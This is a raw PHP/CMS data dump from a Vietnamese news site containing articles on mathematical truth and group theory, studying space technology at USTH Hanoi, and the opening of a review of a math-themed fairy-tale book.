thể chọn vật liệu xây dựng sau cùng cũng được, miễn là các vật liệu đó thỏa mãn mô hình logic-toán đã được xác quyết bằng các công thức đã được cài đặt trong phần mềm, chúng cho thấy thỏa mãn các tiêu chí được chờ đợi (bảng các giá trị) về độ bền vững, an toàn, giá trị thẩm mỹ, tiện nghi, môi trường, bảo trì, thương mại…</div> <div> </div> <div> Trong lập trình công nghệ tin học, một chương trình được viết thông minh là chương trình độc lập cao với dữ liệu, và nó chứa đựng hệ thống xử lý thông minh và khả năng giao tiếp phong phú. Khi phải ứng dụng cho các hoạt động khác nhau, ta mới cho nó giao tiếp với hệ thống các thông số của các lĩnh vực hoạt động liên quan, để nó tìm ra các ứng xử thích hợp cho các đối tượng của các lĩnh vực đó…</div> <div> </div> <div> Châu – Mình đồng ý là đem cọ sát các cách suy nghĩ khác nhau từ Triết, Toán đến Vật lý có thể đưa ta đi xa. Nhưng theo kinh nghiệm, ánh sáng không lóe ra từ cái cách áp đặt máy móc mô hình suy nghĩ của bên này qua bên kia. Ánh sáng luôn lóe ra từ những sự tương đồng tinh tế, mà mình phải thực sự tìm thì mới thấy. Những điểm tinh tế đó thường là nằm ở dưới lớp vỏ của ngôn ngữ.</div> <div> </div> <div> Sự hình thành của khái niệm nhóm trong toán rất đáng để suy nghĩ từ quan điểm Triết học. Mình có viết nhiều mẩu trên blog về chuyện này nhưng ít ai để ý.</div> <div> </div> <div> Định nghĩa của nhóm đơn giản đến mức có thể làm những người tò mò thất vọng. Nó mô phỏng các biến đổi nội tại của một đối tượng. Hai biến đổi có thể “hợp thành với nhau”, nhưng biến đổi A xảy ra trước biến đổi B kết hợp lại sẽ khác với khi biến đổi B xảy ra trước biến đổi A. Ngoài ra thì mọi biến đổi đểu nghịch đảo được, tức là có một biến đổi theo chiều ngược lại. Các tiên đề về nhóm đại khái chỉ có vậy.</div> <div> </div> <div> Ví dụ cơ bản là các thao tác trên khối rubik. Có thao tác A là quay mặt bên trái một góc 90 độ, có một thao tác B là quay mặt trên một góc 90 độ. Có hai thao tác hợp thành A rồi B và B rồi A. Ngoài ra thì có thao tác nghịch đảo của A, nghĩa là quay mặt bên trái một góc 90 độ theo chiều ngược lại so với A.</div> <div> </div> <div> Nhóm các thao tác trên rubik là một nhóm hữu hạn nhưng có rất nhiều phần tử và khá phức tạp. Vì thế mà khi ta xem hướng dẫn cách quay rubik, nói chung mình chỉ biết chấp hành thôi, còn không hiểu tại sao phải làm như thế. Muốn hiểu phải nghiên cứu tường tận cấu trúc của nhóm này.</div> <div> </div> <div> Bên cạnh các nhóm hữu hạn, rộng hơn là các nhóm rời rạc, ta còn có các nhóm liên tục.</div> <div> </div> <div> Điển hình là nhóm các phép dời trong không gian. Hình học cổ điển có thể biên soạn lại dưới ngôn ngữ của nhóm các phép dời hình trong mặt phẳng hoặc trong không gian. Đó chính là quan điểm của hình học hiện đại. Lý thuyết phương trình đại số một ẩn số được Galois giải thích một cách thấu đáo bằng lý thuyết nhóm Galois. Một trong những cố gắng chính của lý thuyết số hiện đại là mở rộng lý thuyết Galois ra hệ phương trình đại số nhiều ẩn số. Langlands tiên đoán một sự liên quan mật thiết đến các dạng automorphic mà khởi thủy là một nhóm con rời rạc trong một nhóm liên tục. Trong vật lý lý thuyết, Gell-Mann tiên đoán sự tồn tại của một hạt cơ bản dựa vào danh sách các biểu diễn của nhóm Lie.</div> <div> </div> <div> Khái niệm nhóm có vẻ như một cấu trúc đại số đơn giản thuận tiện, rất khó lý giải ảnh hưởng sâu rộng của nó đến hiểu biết chung của con người.</div> <div> </div> <div> Minh – Nhân Châu nói đến vụ cái rubik thấy hấp dẫn quá, nên bàn thêm mấy câu thế này:</div> <div> </div> <div> Tư duy là quá trình Lập Luận, Lập và Luận. Lập Luận xoay vòng nối tiếp nhau. Lập là lựa chọn, là quyết định, là hướng định. Lập khởi thủy là hệ thống các tiên đề, các ký hiệu, các qui tắc kết nối, các quy tắc thao tác, cùng một hệ thống ngữ nghĩa, làm nên một lý thuyết. Luận là quá trình thao tác kết nối, chuyển tải, sinh thành các Lập mới sao cho hợp thức (“không vi hiến”). Toàn bộ dòng này chảy dẫn từ Tiên đề đến Kết luận (Kết luận là một Lập đạt được cuối cùng của một chu trình). Dòng chảy này đa trị, nên có phép chứng minh hay thì có thể rất ngắn, hoặc phép chứng minh kém hay thì có thể siêu dài. Ví dụ về tập hợp các thao tác trên khối rubik của Châu rất hay cho trường hợp này: có người xoay rất nhanh ăn, người khác lâu ăn, riêng mình có thể xoay rubik cả đời không đi đến đâu cả, nhưng không hề phạm một lỗi logic nào! ;-).</div> <div> </div> <div> Trong một lĩnh vực tri thức cụ thể, xuất phát từ Hệ tiên đề mà đạt đến Kết luận mang tính bất định (ví dụ lý thuyết «tính bắc cầu của lòng yêu mến” đưa đến các kết quả “lúc có, lúc nhất định không»), thậm chí mâu thuẫn, sẽ buộc ta phải xem xét lại, bổ sung hoặc thay đổi lý thuyết trong lĩnh vực tri thức đó. Logic chỉ đóng vai trò tư pháp, đảm nhiệm tính hợp pháp của quá trình Luận và của các Lập được sinh thành (ví dụ một công thức mới thu được như kết quả chứng minh hợp pháp thu được từ quá trình Luận). Còn tính chân lý nằm ở trong nội dung các Lập, được cắt nghĩa bởi bảng các giá trị chân lý có được do các kinh nghiệm, thực nghiệm, kiến thức khoa học đã xác tín (tương đối) và/hay các lựa chọn lý tưởng nhân văn xác quyết. Tính chân lý trong trường hợp khối rubik trên kia có thể được định nghĩa trong bảng giá trị như sau: “ở mọi trạng thái ban đầu, ta luôn luôn sẽ có cách đưa khối rubik về trạng thái mà mỗi mặt chỉ có một màu, bằng cách chỉ áp dụng các thao tác cho phép”, như Châu đã nói ở trên.</div> <div> </div> <div> Dương – Như vậy là ở đây có một số vấn đề cần làm rõ hơn:</div> <div> </div> <div> 1. Một lý thuyết mô tả những biến đổi nội tại trở nên rất mạnh khi mô tả thực tại (reality), nên thực tại phải có cấu trúc nội tại và sự biến đổi của thực tại là do những biến đổi nội tại gây ra?</div> <div> </div> <div> 2. Không thể có một kết cục tất yếu cho sự vận động của một thực tại, vì kết cục phụ thuộc vào cách thức và thứ tự của từng biến đổi riêng rẽ. Phán đoán ở mức tốt nhất chỉ là phán đoán thống kê, không thể là phán đoán tất định?</div> <div> </div> <div> 3. Cơ sở cho những tiên đoán như của Gell-Mann là gì? Có phải đó chỉ là sự tự hoàn thiện, đối xứng, tao nhã…, những tiêu chí của cái Đẹp. Như vậy cái Đẹp (Beauty) và cái Thật (Truth) có quan hệ gì? Một lý thuyết đẹp và mô tả xác thực thường được coi là tốt. Vậy Đẹp, Thật, Tốt (Chân-Thiện-Mỹ) có quan hệ gì với nhau? Hay ba cái này là một.Và như thế, có tồn tại một bộ quy luật chung cho Mỹ học và Đạo đức như cho Khoa học? Thực ra, đây là một câu hỏi rất cũ, nhưng đến giờ vẫn chưa có câu trả lời thỏa đáng.</div> <div> </div> <div> Châu – Mình có một lý thuyết như thế này, có thể là hơi hàm hồ.</div> <div> </div> <div> Có rất nhiều yếu tố khác nhau để tạo nên cái đẹp. Một yếu tố là tính vừa đủ: không thiếu, đặc biệt là không thừa.</div> <div> </div> <div> Phải chăng thiên nhiên tuân theo nguyên tắc tiết kiệm, không chỉ tiết kiệm năng lượng, mà còn tiết kiệm cả thông tin nữa. Vì thế ngôn ngữ để mô tả nó cũng phải thỏa mãn tính tiết kiệm thông tin.</div> <div> </div> <div> Cái đẹp có một lợi thế khác nữa trong quá trình phát triển của tri thức, cái đẹp dễ được tiếp thu hơn. Cái gì xấu xí, nhưng có giá trị, thường sẽ được con người gọt rũa cho đến khi nó trở thành đẹp. Cái gì giữ mãi cái vỏ xấu xí của mình sẽ có nhiều cơ hội để rơi vào lãng quên.</div> <div> </div> <div> Dương – Lý thuyết của anh không “hàm hồ” chút nào, mà ngược lại, “cực kỳ tao nhã” (cười).</div> <div> </div> <div> Chẳng phải Einstein từng nói: một lý thuyết cần “simple, but not simpler” thì cũng hàm ý không thiếu không thừa.</div> <div> </div> <div> Nhân vật Hòa Thân trong phim Tể tướng Lưu gù một thời làm mưa làm gió trên phim truyền hình (Việt Nam, còn ở Trung Quốc thì không rõ) miêu tả một cô gái đẹp cho vua Càn Long như sau: cô ấy đẹp đến nỗi nếu bớt một chút thì thiếu, mà thêm một chút thì thừa. Càn Long (tay chơi có số) nghe đến đó thì cười tít mắt. Theo lý thuyết này, giám khảo của các cuộc thi sắc đẹp bây giờ, nếu thấy thí sinh có sẹo ở chân chẳng hạn, có lẽ nên nói cái sẹo ở đó là thừa thay vì thay vì chê bai thí sinh.</div> <div> </div> <div> Như vậy xem ra nhận định của Đông Tây kim cổ đều có nét tương đồng.</div> <div> </div> <div> Giờ nghiêm túc hơn một chút nhé:</div> <div> </div> <div> Trong vật lý cổ điển, khi năng lượng có vai trò chủ đạo thì Nguyên tắc hoạt động tối thiểu (Principle of least action) có vai trò quan trọng tương ứng. Vậy nếu coi tự nhiên (universe), ở mức cơ bản nhất, được tạo bởi thông tin (hiện có rất nhiều nhà vật lý theo giả thiết này) thì Nguyên tắc tiết kiệm thông tin (Principle of least information – PLI) cũng sẽ có vai trò tương tự. Liệu có thể tìm cách kiểm chứng PLI ở những chỗ này chăng (với sự dè dặt rất lớn)? Trường hấp hẫn: theo cách giải thích thường thấy thì vật chất làm cong không gian, độ cong đó chính là hấp dẫn. Vậy có thể nhìn cách khác: không gian là lưới thông tin; độ cong của không gian chính là mật độ thông tin. Như vậy, ở mức cơ bản nhất, không gian, và rộng ra là cả vũ trụ, được cấu tạo bởi thông tin. Chỗ nào có mật độ thông tin lớn thì vật chất tụ lại tương ứng. Ánh sáng cũng như mọi vật chuyển động theo đường trắc địa không phải vì hấp dẫn mà đơn giản là dòng chảy tự nhiên của thông tin theo cách tương thích nhất với thông tin nền mà nó tiếp xúc (không gian). Sự lượng tử hóa không gian sẽ là một hệ quả tất yếu. Nhưng thời gian thì sao? Hoặc trong Vật lý lỗ đen, khi các bit thông tin phủ kín chân trời lỗ đen chứ không phải là toàn bộ thể tích lỗ đen thì đây có thể coi là hệ quả của nguyên tắc “không thiếu không thừa”? Vậy liệu có thể dùng PLI để đạt lại những kết quả như của họ? Tiếc là không có một nhà Vật lý lý thuyết ở đây để thảo luận vấn đề này.</div> <div> </div> <div> Minh – Anh chen một tý vào chuyện cái đẹp thế này.</div> <div> </div> <div> Cái đẹp có một khía cạnh đặc biệt, là nó liên quan đến cảm xúc của con người.</div> <div> “Tri thức khách quan” không thể thống trị ở đây hoàn toàn được.</div> <div> </div> <div> Cái đẹp của mối tình mới chớm đến, khác với cái đẹp của mối tình dứt áo ra đi.</div> <div> </div> <div> Cái đẹp của quảng trường Times Square ở New York, cả quảng trường là một sân khấu vĩ đại tuyệt vời mà mỗi người có mặt tự mình thành một nhân vật sống, khác với cái đẹp của một bãi biển đìu hiu nắng chiều đỏ ối ở Dauvine, Châu hát, Minh gảy đàn. Mà cũng lại khác nữa với một vẻ chiều cuối Xuân đường Nguyễn Du, Dương với Minh gặp nhau lần đầu trong đời thực bên tách café để rồi bắt đầu câu chuyện dài ở đây…</div> <div> </div> <div> Ở đây không đơn thuần là “tiết kiệm năng lượng” nữa, mà là các thẩm mỹ biểu đạt các dòng chảy của năng lượng.</div> <div> </div> <div> Châu – Có rất nhiều điều thú vị trong câu chuyện này. Nhưng có lẽ, mình đã đi quá xa so với chủ đề ban đầu.</div> <div> </div> <div> Dương - Em cũng thấy vậy, nên sẽ tổng kết lại ở đây. Những phần mở rộng sẽ được thảo luận tiếp trong một dịp khác.</div> <div> </div> <div> <strong>Thay lời kết</strong></div> <div> </div> <div> Sự thật Toán học, với những đặc tính như khách quan, bền vững, duy lý… có thể được coi là một trong những đặc sản của nền văn minh phương Tây. Sự phát triển của khoa học kĩ nghệ hiện đại trước hết khởi đầu bởi sự tìm ra những sự thật toán học này.</div> <div> </div> <div> Chính là chúng – dù bản chất tồn tại vẫn còn là một vấn đề bỏ ngỏ – đã tạo ra cơ sở vững chắc cho kho tri thức của nhân loại. Không có chúng, khoa học và kĩ nghệ không thể ra đời, nền văn minh kĩ nghệ hiện đại không thể phát triển.</div> <div> </div> <div> Cuộc thảo luận về sự thật toán học ở đây tuy chưa dài, nhưng đã gợi mở rất nhiều vấn đề của Triết học, Toán học và Vật lý… Hy vọng rằng, chúng sẽ được làm sáng tỏ phần nào trong những thảo luận tiếp theo.</div> <div> ---</div> <div> * Giáp Văn Dương dẫn chuyện và biên tập.</div> ', 'images' => '20160616030721f00b6379b82a515a9478b6e58b783de9.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-16', 'modified' => '2025-08-19', 'status' => '1', 'view' => '62215', 'slug' => 'su-that-toan-hoc-theo-so-tay-thich-hoc-toan', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '709', 'rght' => '710', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 7 => array( 'Post' => array( 'id' => '409', 'name' => 'Gần lắm giấc mơ thiên văn Việt Nam', 'code' => null, 'alias' => 'gan-lam-giac-mo-thien-van-viet-nam', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Trước đây, việc học và nghiên cứu công nghệ vũ trụ ở Việt Nam phải gián tiếp thông qua các ngành liên quan như vật lý, công nghệ thông tin, viễn thông... Kể từ năm 2012, việc này có thể được thực hiện trực tiếp nhờ vào chương trình học Vũ trụ và Ứng dụng (Space and Applications) tại ĐH Khoa học và Công nghệ Hà Nội. Tương lai nghề nghiệp ngành công nghệ vũ trụ Việt Nam cũng đang rộng mở với nhiều cơ hội.</div> <div> Những ứng dụng trực tiếp cho kinh tế và xã hội<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (1).jpg" style="width: 250px; height: 167px;" /></div> <div> </div> <div> Thế kỷ 21, cùng với sự phát triển của công nghệ thông tin, công nghệ vũ trụ cũng đang ở trong giai đoạn bùng nổ. Nếu chú ý người ta sẽ nhìn thấy ứng dụng công nghệ vũ trụ ở khắp mọi nơi trong cuộc sống hàng ngày: ti-vi, điện thoại di động, máy tính xách tay, v.v. Không ai mà không biết đến những ứng dụng tuyệt vời của hệ thống định vị được tích hợp trong những chiếc điện thoại nhỏ xíu hay bản đồ điện tử, giúp chúng ta tìm được đến những hang cùng ngõ hẻm nhỏ nhất. Những ứng dụng này có được là nhờ một hệ thống vệ tinh phức tạp đang bay trên bầu trời. Nếu bạn thích du lịch thì chỉ cần lên máy bay, chưa đầy 24 tiếng bạn đã ở phía bên kia của quả đất nhưng những chiếc máy bay sẽ không thể di chuyển dễ dàng như thế nếu thiếu đi các hệ thống kiếm soát hành trình và hệ thống định vị. </div> <div> </div> <div> Ngày nay việc theo dõi môi trường, rừng, biển, khí hậu, thiên tai cũng đã sử dụng nhiều ứng dụng công nghệ vũ trụ vào một ngành riêng biệt là ngành viễn thám (remote sensing). Viễn thám là ngành nghiên cứu sử dụng các hệ thống dò tìm, đo đạc đặt trên các vệ tinh trên bầu trời để quan sát các khu vực dưới mặt đất. Nhờ vậy mà người ta có thể được thu thập hình ảnh, số liệu một phần diện tích rộng và có một cái nhìn tổng thể hơn. </div> <div> </div> <div> <strong>Trở thành nhà thiên văn học: Ước mơ trong tầm tay</strong></div> <div> </div> <div> Khoa học và công nghệ vũ trụ là tổng hợp thành quả từ nhiều ngành khoa học và cộng nghệ khác nhau, là biểu tượng của một quốc gia phát triển. Nhận thức được điều đó, Việt Nam đã và đang thúc đấy mạnh mẽ quá trình phát triển ngành công nghiệp vũ trụ nhằm phục vụ phát triển kinh tế xã hội cũng như khẳng định chủ quyền của Việt Nam trên không gian. Phát triển nguồn nhân lực chất lượng cao cho ngành khoa học vũ trụ và làm chủ công nghệ tiên tiến là một trong những ưu tiên hàng đầu.</div> <div> </div> <div> Ở Việt Nam trước đây, việc học và nghiên cứu công nghệ vũ trụ vẫn phải gián tiếp thông qua các ngành có liên quan đến vũ trụ như vật lý, công nghệ thông tin, viễn thông... Kể từ năm 2012, việc học và nghiên cứu công nghệ vũ trụ có thể được thực hiện trực tiếp nhờ vào chương trình học cử nhân và thạc sĩ Vũ trụ và ứng dụng (Space and Applications) tại Đại học Khoa học và Công nghệ Hà Nội1.</div> <div> </div> <div> Đại học Khoa học và Công nghệ Hà Nội (University of Science and Technology of Hanoi, viết tắt là USTH) là trường đại học công lập thuộc hệ thống giáo dục quốc dân, được thành lập theo sự hợp tác giữa Chính phủ Việt Nam và Chính phủ Pháp. Là trường đại học quốc tế đào tạo theo mô hình châu Âu, trường sẽ được xây dựng tại Khu Công nghệ cao Hòa Lạc và hoạt động kết hợp với Viện Khoa học và Công nghệ Việt Nam trong 10 năm đầu. Từ năm học 2012 – 2013, bên cạnh hệ cử nhân, hệ thạc sĩ Công nghệ vũ trụ và ứng dụng bắt đầu được triển khai với hầu hết các giảng viên đến từ Đại học Paris Diderot – Đại học Paris 7, Đài thiên văn Paris (l’Observatoire de Paris), Đại học Paul-Sabatier, École normale supérieur, v.v. Chương trình đào tạo thạc sĩ công nghệ vũ trụ đầu tiên và duy nhất tại Việt Nam được thực hiện theo Hệ thống chuyển đổi và tích lũy tín chỉ chung châu Âu (European Credit Transfer and Accumulation System, viết tắt là ECTS), được công nhận bởi chính phủ Việt Nam và chính phủ Pháp. </div> <div> </div> <div> Các hoạt động nghiên cứu và đào tạo sẽ được tiến hành tại một địa điểm và được kết nối với mạng lưới các trung tâm nghiên cứu – đào tạo chất lượng cao ở Pháp và Việt Nam. Chương trình cử nhân kéo dài 3 năm còn chương trình đào tạo hệ thạc sĩ Công nghệ vũ trụ và ứng dụng được chia làm 4 học kỳ trong 2 năm, mỗi học kỳ gồm 30 tín chỉ và tất cả các môn học sẽ được giảng dạy bằng tiếng Anh. Vào học kỳ cuối cùng, sinh viên sẽ được thực tập 8 tháng tại các phòng thí nghiệm nghiên cứu và phát triển (R&D labs), các viện nghiên cứu thiên văn học, các tổ hợp công nghiệp hàng không vũ trụ tại Pháp và châu Âu như Đài thiên văn Paris, Tập đoàn Hàng không vũ trụ và Quốc phòng châu Âu (EADS), v.v.</div> <div> </div> <div> Học viên sau khi bảo vệ thành công luận văn tốt nghiệp sẽ có hai bằng, một bằng của trường đại học Khoa học và Công nghệ Hà Nội và một bằng của trường đại học Pháp nhận các học viên sang thực tập. Khi tốt nghiệp, học viên sẽ có học vị chuyên ngành Thạc sĩ Khoa học vũ trụ và ứng dụng (Master in Space Science and Applications) hoặc Thạc sĩ Công nghệ vũ trụ (Master in Space Engineering). </div> <div> </div> <div> Chương trình sẽ cung cấp học bổng cho các học sinh có điều kiện khó khăn để hoàn thành chương trình. Đặc biệt việc thực tập trong học kỳ hai của năm hai thạc sĩ ở Pháp sẽ đươc chính phủ Pháp tài trợ 100%. Các sinh viên có nhu cầu phòng trọ sẽ được sắp xếp tại làng sinh viên quốc tế Thanh Xuân.</div> <div> </div> <div> <strong>Học công nghệ vũ trụ để làm gì?</strong></div> <div> </div> <div> Phần lớn các bạn trẻ thường hỏi học công nghệ vũ trụ rồi ra làm cái gì? Việc đầu tiên mà các bạn có thể làm đó là tại các trung tâm khoa học liên quan ở Việt Nam như đã kể ở trên. Do đặc thù liên ngành của ngành công nghệ vũ trụ, nếu như bạn đổi ý, với kiến thức được trang bị bạn có thể tìm việc làm ở các ngành kỹ thuật liên quan như điện, cơ khí, hàng không... hay các ngành khác như ngân hàng và tài chính. Theo thống kê mới đây ở Hoa Kỳ thì ngành công nghệ vũ trụ là ngành học ít bị thất nghiệp nhất ở Mỹ2, ngay cả trong bối cảnh khủng hoảng kinh tế hiện nay. Ngay cả các bạn học ngành thời thượng thì cũng chỉ 50% đi làm đúng ngành học, vậy tại sao bạn lại không nắm lấy cơ hội để học cái mình thích. Quan trọng nhất, nếu đây là ước mơ trẻ thơ của bạn, hãy nắm lấy.</div> <div> </div> <div> Tương lai nghề nghiệp ngành công nghệ vũ trụ Việt Nam đang rộng mở với nhiều cơ hội: kỹ sư và nghiên cứu viên tại các viện khoa học như Trung tâm Vũ trụ và Trung tâm Vệ tinh quốc gia; chuyên viên và kỹ thuật viên tại các tập đoàn viễn thông; chuyên viên trắc địa, thăm dò tại các cơ quan khí tượng, các tập đoàn khoáng sản và dầu khí; trở thành giảng viên đại học chuyên ngành thiên văn học, v.v…Sinh viên ngành vũ trụ và ứng dụng cũng có thể trở thành kỹ sư tại các công ty hàng không chuyên sản xuất thiết bị cho máy bay Boeing, Airbus hay các công ty thiết kế và chế tạo ô tô như Mercedes, BMW. Ngoài kiến thức chuyên môn vững chắc, đại học Khoa học và Công nghệ Hà Nội còn đào tạo cho những sinh viên này các kiến thức nền về quản trị, quản lý dự án khoa học, ngoại ngữ và luật pháp. </div> <div> </div> <div> <strong>Việt Nam trở lại sân chơi hàng không vũ trụ</strong></div> <div> </div> <div> Nhà nước ta đã chính thức tái khởi động chương trình nghiên cứu vũ trụ sau hơn 20 năm kể từ khi Phạm Tuân, là người châu Á đầu tiên, mang màu cờ Việt Nam lên bản đồ không gian thế giới. Ngày 14/6/2006, Thủ tướng Chính phủ phê duyệt “Chiến lược nghiên cứu và ứng dụng công nghệ vũ trụ đến năm 2020". Ngày 20/11/2006, Viện Công nghệ vũ trụ (Space Technology Institute - STI) được thành lập trực thuộc Viện Khoa học và Công nghệ Việt Nam, với mục tiêu trở thành cơ sở nghiên cứu đầu ngành về công nghệ vũ trụ của nhà nước. Cuối năm ngoái, Trung tâm Vệ tinh quốc gia Việt Nam (Vietnam National Satellite Centre - VNSC) được chính thức hoạt động, đặt tại Khu Công nghệ cao Hòa Lạc, Hà Nội. Trung tâm Vệ tinh quốc gia cũng sẽ thực hiện, tiếp nhận, quản lý, khai thác Dự án xây dựng Trung tâm Vũ trụ Việt Nam.</div> <div> </div> <div> Cách trung tâm Hà Nội 30km, trải rộng trên diện tích 9ha, Khu Nghiên cứu – Triển khai Công nghệ vũ trụ tại Khu công nghệ cao Hoà Lạc có tổng vốn 350 triệu đô-la Mỹ từ nguồn vốn vay ODA ưu đãi của Nhật Bản. Trung tâm Vũ trụ Việt Nam tại Hoà Lạc sẽ được lắp đặt các thiết bị hiện đại hàng đầu Việt Nam và khu vực, sánh tầm nhiều trung tâm vũ trụ lớn của thế giới. Cùng với việc chủ động giám sát thảm họa, quản lý tài nguyên thiên nhiên, phát triển các ngành khoa học phụ trợ, Trung tâm Vũ trụ Việt Nam sẽ là nơi thành lập Trung tâm Quan sát Trái đất và Phát triển vệ tinh, chuyển giao công nghệ và phát triển nguồn nhân lực ngành công nghệ vũ trụ, tạo đà phát triển bền vững cho Việt Nam, thúc đẩy hợp tác quốc tế giữa Việt Nam và các nước châu Á – Thái Bình Dương.</div> <div> </div> <div> Chính phủ Việt Nam đang đẩy mạnh công tác nghiên cứu và làm chủ công nghệ chế tạo vệ tinh nhỏ cỡ nhỏ (pico và mini) với dự án vệ tinh VNRedsat 1 (hợp tác với Pháp) và vệ tinh VNRedsat 2 (hợp tác với Bỉ), cùng nhiều dự án hợp tác với Cơ quan Hàng không vũ trụ Nhật Bản (JAXA). Hiện nay, tương lai nghề nghiệp ngành công nghệ vũ trụ và ứng dụng tại Việt Nam vô cùng rộng mở.</div> <div> </div> <div> ---</div> <div> </div> <div> * CLB Thiên văn nghiệp dư TP.HCM (HAAC)</div> <div> </div> <div> 1. Thông tin về chương trình học và thủ tục ứng tuyển có thể tham khảo thêm tại trang http://usth.edu.vn/vi/studycourses/mastercourses/master-of-space-and-applications/</div> <div> </div> <div> 2. Theo trang web: http://graphicsweb.wsj.com/documents/NILF1111/#term=</div> ', 'images' => '201606150911150c257c177fbfb4f676613725df7b63fa.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-15', 'modified' => '2025-08-18', 'status' => '1', 'view' => '55247', 'slug' => 'gan-lam-giac-mo-thien-van-viet-nam', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '707', 'rght' => '708', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 8 => array( 'Post' => array( 'id' => '408', 'name' => 'Ai và Ky ở xứ sở của những con số tàng hình*', 'code' => null, 'alias' => 'ai-va-ky-o-xu-so-cua-nhung-con-so-tang-hinh', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Tôi may mắn có trong tay bản thảo cuốn sách đã ba tháng nay, và phải làm cái công việc khó khăn là không dám “khoe” vì sợ lộ bí mật. Nay cuốn sách đã ra mắt, xin đưa lên bài viết về cảm nhận của tôi khi đọc sách. Cũng có thể xem là lời giới thiệu cuốn sách với bạn đọc.</div> <div> Một cuốn sách trình bày những kiến thức toán học dưới dạng “ngây thơ” nhất, và vì thế, bản chất nhất. Ta gặp ở đây những khái niệm đầu tiên về số, những vấn đề “cao siêu” như trường số, tính không giải được bằng căn thức của phương trình bậc 5 tổng quát, cho đến hình học phi Euclid, đường trắc địa…Một cuốn lịch sử toán học, từ sự ra đời của số vô tỷ đầu tiên đến sự xuất hiện của phương pháp tọa độ và giải tích vô cùng bé. Nhưng trước tiên, cuốn sách là một câu chuyện cổ tích tuyệt đẹp, với nắng vàng trên bãi cát, với bầu không khí trong vắt của trí tuệ và tình người, với những nghịch lý và âm mưu. Ta chợt nhận ra rằng, thế giới của những con số cũng huyền ảo, kỳ bí và lãng mạn như cuộc đời.</div> <div> </div> <div> Tác giả đưa ta vào câu chuyện cổ tích, mà ở đó cùng với Ai và Ky, ta bắt gặp những con người của nhiều thế kỷ khác nhau đang sống cùng nhau trong một thế giới chung: Toán học. Ta gặp Euclid (thế kỷ III TCN) và Thales (624-546 TCN), hai nhà phù thủy chỉ dùng cây thước và compa mà dựng nên cả “thế giới hữu tỷ”; thấy Pythagoras (570-495 TCN) nghiêm khắc trừng phạt anh học trò Hyppasus (thế kỷ V TCN) vì đã dám tạo ra số vô tỷ đầu tiên, phá vỡ cái hài hòa của thế giới hữu tỷ. Ta gặp Zeno xứ Elea (490- 430 TCN) hiện thân thành cô gái Zena với cặp mắt mê hoặc, mà khi nhìn vào đó, thời gian dường như bị chia thành những mảnh nhỏ vô cùng mà ta không thể vượt qua. Nhưng cuối cùng, Alice (lực sĩ Achilles?) đã dũng cảm vượt qua cái “nghịch lý Zeno” đó, dù biết là phải chịu trừng phạt. Để vượt qua cái việc chia cắt thời gian thành những mảnh nhỏ, Alice phải nhờ tới “chuỗi hội tụ”, nhờ tới giải tích vô cùng bé. Ông Chico hiểu điều đó, nhưng vẫn trừng trị Alice, để không làm phật ý Đức Vua, người chỉ biết dùng phép khai căn để tìm ra gốc gác từng thần dân (số) của mình. Ta nhận ra trong bóng dáng Chico hình ảnh của Cauchy (1789-1857), nhà toán học thiên tài, một trong những người đặt nền móng cho giải tích vô cùng bé, nhưng cũng là một người bảo hoàng cực đoan. Cũng vì phụng sự Đức Vua mà Chico trừng phạt chàng Elaci, người đã phát hiện ra rằng Đức Vua không thể chỉ dùng phép khai căn mà tìm được những “thần dân” là nghiệm của phương trình bậc năm. Ông Chico muốn dìm đi phát 